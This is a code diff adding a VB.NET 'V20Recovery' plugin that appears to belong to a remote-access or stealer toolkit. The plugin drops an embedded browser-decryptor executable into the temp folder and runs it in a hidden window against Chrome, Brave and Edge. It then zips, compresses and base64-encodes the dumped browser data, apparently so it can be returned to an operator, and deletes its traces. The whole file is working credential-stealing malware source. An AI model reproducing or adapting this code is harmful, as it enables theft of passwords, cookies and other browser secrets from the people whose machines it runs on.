initial commit

Plugins/V20Recovery/Plugin.vb

@@ -0,0 +1,91 @@
+Imports System
+Imports System.Diagnostics
+Imports System.IO
+Imports System.IO.Compression
+Imports System.Text
+Imports System.Threading
+Imports Microsoft.VisualBasic
+
+Namespace V20Recovery
+	Public Class Plugin
+		Public Shared Function RunRecovery(Method As Integer) As String
+			Dim text3 As String
+			Try
+				Select Case Method
+					Case 7
+						Dim tempPath As String = Path.GetTempPath()
+						Dim text As String = Path.Combine(tempPath, "XRecovery.zip")
+						Dim flag As Boolean = File.Exists(text)
+						If flag Then
+							Try
+								File.Delete(text)
+							Catch ex As Exception
+							End Try
+						End If
+						Plugin.RunChromiumDecryptions()
+						Thread.Sleep(5000)
+						Dim text2 As String = Path.GetTempPath() + "XRecovery"
+						Using zipFile As Ionic.Zip.ZipFile = New Ionic.Zip.ZipFile(Encoding.GetEncoding("cp866"))
+							zipFile.ParallelDeflateThreshold = -1L
+							zipFile.UseZip64WhenSaving = Ionic.Zip.Zip64Option.Always
+							zipFile.CompressionLevel = Ionic.Zlib.CompressionLevel.[Default]
+							zipFile.AddDirectory(text2)
+							zipFile.Save(text2 + ".zip")
+							Directory.Delete(text2, True)
+						End Using
+						Return Convert.ToBase64String(Plugin.Compress(File.ReadAllBytes(text2 + ".zip")))
+				End Select
+				text3 = Nothing
+			Catch ex2 As Exception
+				text3 = Nothing
+			End Try
+			Return text3
+		End Function
+		Public Shared Function Compress(input As Byte()) As Byte()
+			Dim array As Byte()
+			Using memoryStream As MemoryStream = New MemoryStream()
+				Dim bytes As Byte() = BitConverter.GetBytes(input.Length)
+				memoryStream.Write(bytes, 0, 4)
+				Using gzipStream As Global.System.IO.Compression.GZipStream = New Global.System.IO.Compression.GZipStream(memoryStream, Global.System.IO.Compression.CompressionMode.Compress)
+					gzipStream.Write(input, 0, input.Length)
+					gzipStream.Flush()
+				End Using
+				array = memoryStream.ToArray()
+			End Using
+			Return array
+		End Function
+		Public Shared Sub RunChromiumDecryptions()
+			Dim text As String = Path.Combine(Path.GetTempPath(), "XRecovery", "Browsers")
+			Dim flag As Boolean = Directory.Exists(text)
+			If flag Then
+				Directory.Delete(text, True)
+			End If
+			Thread.Sleep(3000)
+			Dim flag2 As Boolean = Not Directory.Exists(text)
+			If flag2 Then
+				Directory.CreateDirectory(text)
+			End If
+			Dim text2 As String = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".exe")
+			File.WriteAllBytes(text2, My.Resources.ChromeDecryptor)
+			Dim array As String() = New String() {"chrome", "brave", "edge"}
+			For Each text3 As String In array
+				Plugin.RunProcessHidden(text2, String.Format(" {0} -o ""{1}""", text3, text))
+			Next
+			File.Delete(text2)
+		End Sub
+		Private Shared Sub RunProcessHidden(path As String, args As String)
+			Dim flag As Boolean = Not File.Exists(path)
+			If Not flag Then
+				Using process As Process = New Process()
+					process.StartInfo.FileName = path
+					process.StartInfo.Arguments = args
+					process.StartInfo.CreateNoWindow = True
+					process.StartInfo.UseShellExecute = False
+					process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
+					process.Start()
+					process.WaitForExit()
+				End Using
+			End If
+		End Sub
+	End Class
+End Namespace